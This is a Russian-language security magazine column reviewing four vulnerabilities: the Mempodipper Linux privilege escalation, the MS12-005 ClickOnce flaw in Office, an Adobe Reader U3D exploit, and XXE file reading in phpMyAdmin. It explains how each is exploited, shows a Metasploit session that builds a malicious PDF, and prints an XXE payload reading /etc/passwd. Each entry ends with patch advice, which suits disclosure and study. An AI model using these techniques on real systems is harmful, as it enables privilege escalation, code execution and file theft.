В этом интереснейшем обзоре мы рассматриваем свежую уязвимость в ядрах Linux, позволяющую без особого труда поднять привилегии в системе, баги в Microsoft Office и Acrobat Reader, а также XXE-инъекцию в phpMyAdmin. Не пропусти!

 

Локальное повышение привилегий в Linux

  • CVSSv2 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)

BRIEF

Уязвимость связана с интерфейсом /proc//mem (где — идентификатор нужного процесса), который Linux предоставляет для прямой записи в память процесса и чтения из нее. В ядре версии 2.6.39 разработчики убрали директиву #ifdef, исключающую прямую запись в память процесса, поскольку сочли, что этот интерфейс уже достаточно защищен от неавторизованного доступа с помощью других механизмов ядра. На самом деле писать в память процесса может любой пользователь, обладающий достаточными правами. Как оказалось, эти права проверяются не совсем корректно. В итоге получилось то, что получилось: во всех версиях ядра, начиная с 2.6.39, злоумышленник может продвинуть по «карьерной лестнице» до рута любого имеющегося пользователя.

 

WARNING

Информация представлена исключительно для ознакомления. Редакция не несет ответственности за ее использование в противозаконных целях. Подобные действия влекут за собой уголовное преследование.

EXPLOIT

При открытии интерфейса /proc//mem выполняется такой код:

static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

Стало быть, на открытие нет никаких ограничений — любой может это сделать. Однако на запись и чтение некоторые ограничения всё-таки установлены. Обратимся к коду функции, которая осуществляет запись (приведена только наиболее важная часть функции):

static ssize_t mem_write(struct file * file, const char __user *buf,
  size_t count, loff_t *ppos)
{
/* ... */   
    struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
/* ... */
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
/* ... */
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
/* ... */

Здесь проводятся две проверки для предотвращения неавторизованной записи: check_mem_permission и self_exec_id. Функция check_mem_permission является простой оберткой для__check_mem_permission, вот что она делает:

static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;

mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);

    if (task == current)
        return mm;

if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}

mmput(mm);
return ERR_PTR(-EPERM);
}

Чтобы запись прошла успешно, ее должен осуществлять либо сам процесс (task == current), либо родитель, трассирующий этот процесс через ptrace. Различные трюки с ptrace не увенчались успехом, поэтому рассмотрим вариант с task == current. Что если процесс сам запишет нужные нам данные себе в память? Очевидно, что нас в первую очередь интересуют процессы с атрибутом suid. Рассмотрим su:

$ su "yeeeee haw I am a cowboy"
su: user yeeeee haw I am a cowboy does not exist

Легко заметить, что на stderr выдается строка, созданная с нашим участием. Казалось бы, мы можем открыть /proc//mem, с помощью lseek() найти нужное место в памяти, с помощью dup2() связать стандартный поток ошибок и файловый дескриптор открытого /proc//mem, записать нужные данные, а затем исполнить шелл-код. Однако не всё так просто. Здесь выполняется вторая проверка, в ходе которой текущее значение self_exec_id сравнивается со значением, с помощью которого был создан файловый дескриптор /proc//mem. Значение self_exec_id инкрементируется при каждом запуске процесса, поэтому мы не можем получить доступ к памяти вышеизложенным способом.

Тем не менее, эту проверку можно обойти: с помощью fork() мы создаем потомка и внутри него с помощью exec() стартуем новый процесс. Наш форкнутый процесс имеет значение self_exec_id, равное ее значению у предка. Когда мы запускаем exec(), self_exec_id увеличивается на единицу. В нашем потомке мы открываем память предка и создаем файловый дескриптор для /proc//mem, благо на открытие нет проверок. В предке тем временем запускаем su через exec(), таким образом уравнивая значения self_exec_id. Далее с помощью, как выразился сам создатель эксплоита, «очень черной магии сокетов Юникс» передаем предку открытый файловый дескриптор от потомка и возвращаемся к вышеупомянутому сценарию dup2 -> exec.

Осталось понять, по какому адресу делать запись. По идее, ASLR должен затруднить нашу задачу, однако взгляни на это:

$ readelf -h /bin/su | grep Type
Type:  EXEC (Executable file)

Вывод нам как бы намекает, что программа su использует статический адрес секции .text (в ином случае был бы тип DYN, а не EXEC). Это означает, что su в большинстве дистрибутивов скомпилирована без использования PIE, следовательно, ASLR для секции .text работать не будет, что упрощает написание эксплоита.

Исходный код эксплоита Mempodipper доступен на exploit-db.com, EDB-ID 18411. Пример его использования представлен на скриншоте.

TARGETS

Linux >=2.6.39, 32- и 64-битные.

SOLUTION

Доверь обновление ядра своему пакетному менеджеру или установи патч вручную.

Пример работы эксплоита Mempodipper
Пример работы эксплоита Mempodipper
 

MS12-005 Уязвимость процесса сборки

  • CVSSv2 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

BRIEF

Найденная уязвимость позволяет выполнить произвольный код на удаленной системе с правами текущего пользователя. Для этого пользователь уязвимой системы должен зайти на специально сформированную web-страницу или открыть злонамеренный файл Office. Уязвимость присутствует в механизме безопасности Object Packager. Дело в том, что Object Packager считает ClickOnce-файл безопасным, благодаря чему файл такого типа можно внедрить в документ Office. Когда пользователь уязвимой системы открывает документ, внедренный файл автоматически выполняется. Напомню, что ClickOnce — это технология развертывания, позволяющая создавать самообновляемые приложения Windows, которые могут устанавливаться и запускаться при минимальном вмешательстве пользователя. Существует три способа публикации приложения ClickOnce: с веб-страницы, общего сетевого ресурса или носителя, например компакт-диска. Его можно установить на компьютер конечного пользователя и запустить локально, даже если компьютер не подключен к сети, или запустить в оперативном режиме, без установки каких-либо компонентов на компьютер конечного пользователя. При этом приложения ClickOnce могут обновляться самостоятельно, проверяя наличие доступных новых версий и автоматически заменяя все обновленные файлы.

Для реализации атаки в данном случае используем специальным образом сформированный файл презентации PowerPoint. Эта программа позволяет назначить Custom Animation’ы для OLE-пакетов. В отличие от обычных анимаций, мы можем задать две специфичные для OLE анимации (которые называются Object Actions): Activate Contents (активировать содержимое) и Edit Package (редактировать пакет). При Activate Contents выполняются те же действия, что и при двойном щелчке пользователя по встроенному объекту. Таким образом, Custom Animation’ы позволяют выполнять указанные последовательности действий, требуемых для запуска встроенного ClickOnce-приложения с полными правами доступа (Full Trust).

В результате выполнения описанных выше действий на экране появится ряд диалоговых окон. Однако пользователю не нужно ничего с ними делать. Custom Animation’ы выполняются, когда PowerPoint работает в режиме показа слайдов. Когда PowerPoint находится в полноэкранном режиме, после выполнения каждого действия анимации происходит восстановление фокуса. После запуска ClickOnce-приложения мы можем посылать сообщения диалоговым окнам, чтобы закрыть их.

EXPLOIT

Уязвимость, описанная в MS12-005, затрагивает два аспекта:

  1. Метод определения исполняемого файла. Непропатченный packager.dll определяет, является ли файл исполняемым, сопоставляя расширения файлов с элементами таблицы (для удобства назовем ее execExtTable).
    .text:02FA1D98 execExtTable dd offset a_exe ; DATA XREF: CPackage::_GetCurrentIcon(_IC *)+69|o
    .text:02FA1D98 ; CPackage::_GiveWarningMsg(HWND__ *)+5E|o
    .text:02FA1D98 ; “.exe”
    .text:02FA1D9C dd offset a_com ; “.com”
    .text:02FA1DA0 dd offset a_bat ; “.bat”
    .text:02FA1DA4 dd offset a_lnk ; “.lnk”
    .text:02FA1DA8 dd offset a_cmd ; “.cmd”
    .text:02FA1DAC dd offset a_pif ; “.pif”
    .text:02FA1DB0 dd offset a_scr ; “.scr”
    .text:02FA1DB4 dd offset a_js ; “.js”
    .text:02FA1DB8 dd offset a_jse ; “.jse”
    .text:02FA1DBC dd offset a_vbs ; “.vbs”
    .text:02FA1DC0 dd offset a_vbe ; “.vbe”
    .text:02FA1DC4 dd offset a_wsh ; “.wsh”
    .text:02FA1DC8 dd offset a_sct ; “.sct”
    .text:02FA1DCC dd offset a_vb ; “.vb”
    .text:02FA1DD0 dd offset a_wsc ; “.wsc”
    .text:02FA1DD4 dd offset a_wsf ; “.wsf”
    .text:02FA1DD8 dd offset a_wmz ; “.wmz”
    

    Просто прокручиваем в цикле эту таблицу и смотрим, имеет ли встроенный файл такое же расширение, как и элемент таблицы. Для этого используется функция IsProgIDInList:

    .text:02FA72F4 push 11h ; int
    .text:02FA72F6 push offset execExtTable ; dangerousTable
    .text:02FA72FB push esi ; pExtName
    .text:02FA72FC push 0 ; int
    .text:02FA72FE call ?IsProgIDInList@@YGHPBG0PBQBGI@Z ; IsProgIDInList(ushort const *,ushort const *,ushort const * const *,uint)
    

    Нюанс состоит в том, что в таблице приведена лишь часть существующих расширений для исполняемых файлов. В качестве примера можно взять py или pl. MS12-005 обходит эту проблему с помощью функции AssocIsDangerous(), которая проверяет расширения исполняемых файлов:

    .text:02FA6A11 push eax
    .text:02FA6A12 call ds:__imp__AssocIsDangerous@4 ; AssocIsDangerous(x)
    .text:02FA6A18 test eax, eax
    .text:02FA6A1A jnz short loc_2FA6A42
    
  2. Вывод предупреждений системы безопасности пользователю. Пропатченный packager.dll выдает предупреждения, только если файл является исполняемым. Но рассмотрим функцию CPackage___GiveWarningMsg(HWND hWnd). Она вновь проходит по таблице execExtTable, и, если расширение встроенного файла не содержится в execExtTable, никаких предупреждений не выдается.

TARGETS

Windows XP, Windows Vista, Windows Server 2008 SP2, Windows 7.

SOLUTION

Существует обновление, устраняющее эту уязвимость.

Результат эксплуатации уязвимости — запущенный Python-скрипт
Результат эксплуатации уязвимости — запущенный Python-скрипт
 

Уязвимость в Adobe Reader при обработке U3D-данных

  • CVSSv2 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)

BRIEF

Уязвимость вызвана ошибкой при обработке U3D-данных. Такая ошибка может привести к сбою. При успешной эксплуатации эта уязвимость позволяет злоумышленникам установить полный контроль над системой. Для обхода DEP используется ROP-цепочка, основанная на библиотеке icucnv36.dll. Для обхода ASLR выполняется JavaScript-код, реализующий технику heap spraying. Кратко опишем U3D-компоненты, чтобы лучше понимать, какие из них использует сплоит:

  • U3D — на текущий момент единственный поддерживаемый подтип и 3D-объект.
  • 3DD (необходим) — определяет поток или словарь с 3D-данными, подлежащими рендерингу.
  • 3DA (необязателен) — словарь активации, определяющий время, когда следует показывать 3D-данные.
  • 3DI (необязателен) — переменная логического типа, определяющая основной режим использования. Значение true соответствует интерактивному режиму, false — взаимодействию через JavaScript.
  • DIS (необязателен) — имя, определяющее состояние 3D-данных при деактивации.
  • A — имя, под которым должна быть активирована аннотация.
  • PO — аннотация должна активироваться, как только открывается страница, содержащая аннотацию на 3D-данные.

EXPLOIT

Последовательность запуска объектов:

  • Объект 4 — действие OpenAction инициирует обращение к JavaScript.
  • Объект 14 — JavaScript ссылается на объект 15.
  • Объект 15 — JavaScript-код применяет технику heap spraying, затем переходит на вторую страницу.
  • Объект 11 — определение 3D-данных и описание их форматирования.
  • Объект 10 — 3D-данные, которые будут показываться (вероятно, поврежденные).

Объекты, на которые следует обратить внимание:

  • Объект 10 — ссылается на именованные словари (/3D, /U3D).
  • Объект 11 — ссылается на именованные словари (/3DI, /3DD, /3D, /3DA).
  • Объект 15 — содержит JavaScript-код для реализации heap spraying и перенаправления на вторую страницу (инициирует процесс отображения 3D-данных).

Сплоит реализован в Metasploit (пример с полезной нагрузкой в виде запуска калькулятора):

msf > use exploit/windows/fileformat/adobe_reader_u3d
msf  exploit(adobe_reader_u3d) > set payload windows/exec
payload => windows/exec
msf  exploit(adobe_reader_u3d) > set cmd calc.exe
cmd => calc.exe
msf  exploit(adobe_reader_u3d) > show options
Module options (exploit/windows/fileformat/adobe_reader_u3d):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   FILENAME   msf.pdf  yes   The file name.
   OBFUSCATE  falsenoEnable JavaScript obfuscation

Payload options (windows/exec):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD   calc.exe yes   The command string to execute
   EXITFUNC  process  yes   Exit technique: seh, thread, process, none

Exploit target:
   Id  Name
   --  ----
   0   Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3

msf  exploit(adobe_reader_u3d) > exploit 
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /home/pikofarad/.msf4/local/msf.pdf

TARGETS

Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 под Windows XP SP3.

SOLUTION

Существует обновление, устраняющее эту уязвимость.

Вредоносное содержимое 3D-объекта в теле pdf-файла
Вредоносное содержимое 3D-объекта в теле pdf-файла
 

LFI в phpMyAdmin через XXE-инъекцию

  • CVSSv2 5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

BRIEF

В начале года исследователь Marco Batista опубликовал весьма интересную уязвимость типа Local File Including. Эксплуатируется она нетривиально, через XXE-инъекцию (XXE — XML eXternal Entity), которая представляет собой разновидность XML-инъекции. Напомню, что при помощи XML-инъекции (например, GET-запроса к веб-серверу) можно изменить содержимое XML-документа. Обычно интерес представляют файлы базы данных xmlDB, где содержится информация о пользователях:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users> 
<user> 
<username>gandalf</username>
<password>!c3</password> 
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user> 
<user> 
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username> 
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users>

Смышленый читатель без труда проведет аналогию с SQL-инъекциями, а я тем временем перейду непосредственно к инъекциям подтипа XXE. В документах XML существуют так называемые примитивы (entities), которые объявляются в начале документа в области DTD. Существует несколько видов примитивов, но сейчас нас интересуют только внешние (external entities). Если в определении примитива присутствует URI, то он называется внешним. Соответственно, парсер должен получить доступ к этому URI и включить его содержимое в документ, если это было задано, например, так:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo
[
<!ELEMENT foo ANY >
<!ENTITY bar SYSTEM "file:///etc/passwd" >
]
>
<foo>&bar;</foo>

Здесь определяется примитив bar, который ссылается на файл /etc/passwd, и при обработке документа его содержимое включается в него. Кстати говоря, в XML-документ можно не только включать локальные и удаленные файлы. В нем можно запускать исполняемые файлы, если парсеру разрешено это делать. По стандарту это выглядит примерно так:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo
    [
    <!ELEMENT foo ANY>
    <!NOTATION GIF SYSTEM "http://my-cool-site.com/ShowGif.exe">
    <!ENTITY bar SYSTEM "http://not-my-cool-site.com/bar.gif" NDATA GIF>
    ]
>
<foo>&bar;</foo>

В этом документе с помощью программы ShowGif.exe обрабатывается рисунок bar.gif. В некоторых случаях мы можем внедрить подобную конструкцию через XML-инъекцию и выполнить требуемый код. Более подробная инфа об XML-инъекциях есть на сайте OWASP.

EXPLOIT

В phpMyAdmin имеется функция импорта базы данных из заданного пользователем XML-файла. Уязвимость заключается в том, что после загрузки специально сформированного XML-документа атакующий получает возможность (ограниченную правами веб-сервера) прочитать произвольный файл в системе или локальной сети.

Уязвимость находится в файле libraries\import\xml.php, где функция simplexml_load_string() вызывается без проверки на существование ссылки на внешний примитив:

$xml = simplexml_load_string($buffer, “SimpleXMLElement”, LIBXML_COMPACT);

Патченные версии phpMyAdmin для предотвращения инъекции используют функцию libxml_disable_entity_loader(), прежде чем загружать XML-документ. Компания SECFORCE разработала модуль к Metasploit для эксплуатации этой уязвимости. Он автоматизирует процесс LFI следующим образом:

  1. Логинится в phpMyAdmin с помощью предоставленных реквизитов.
  2. Создает XML-документ, применяя XXE-инъекции для заданного файла.
  3. Загружает файл с XML-документом.
  4. Получает указанный файл с сервера.

Возможные опции эксплоита и пример успешной эксплуатации показаны на скриншоте.

TARGETS

PhpMyAdmin 3.4.x вплоть до 3.4.7.1 и 3.3.x вплоть до 3.3.10.5.

SOLUTION

Обновиться минимум до версии phpMyAdmin 3.4.7.1 (3.3.10.5) или установить соответствующий патч.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии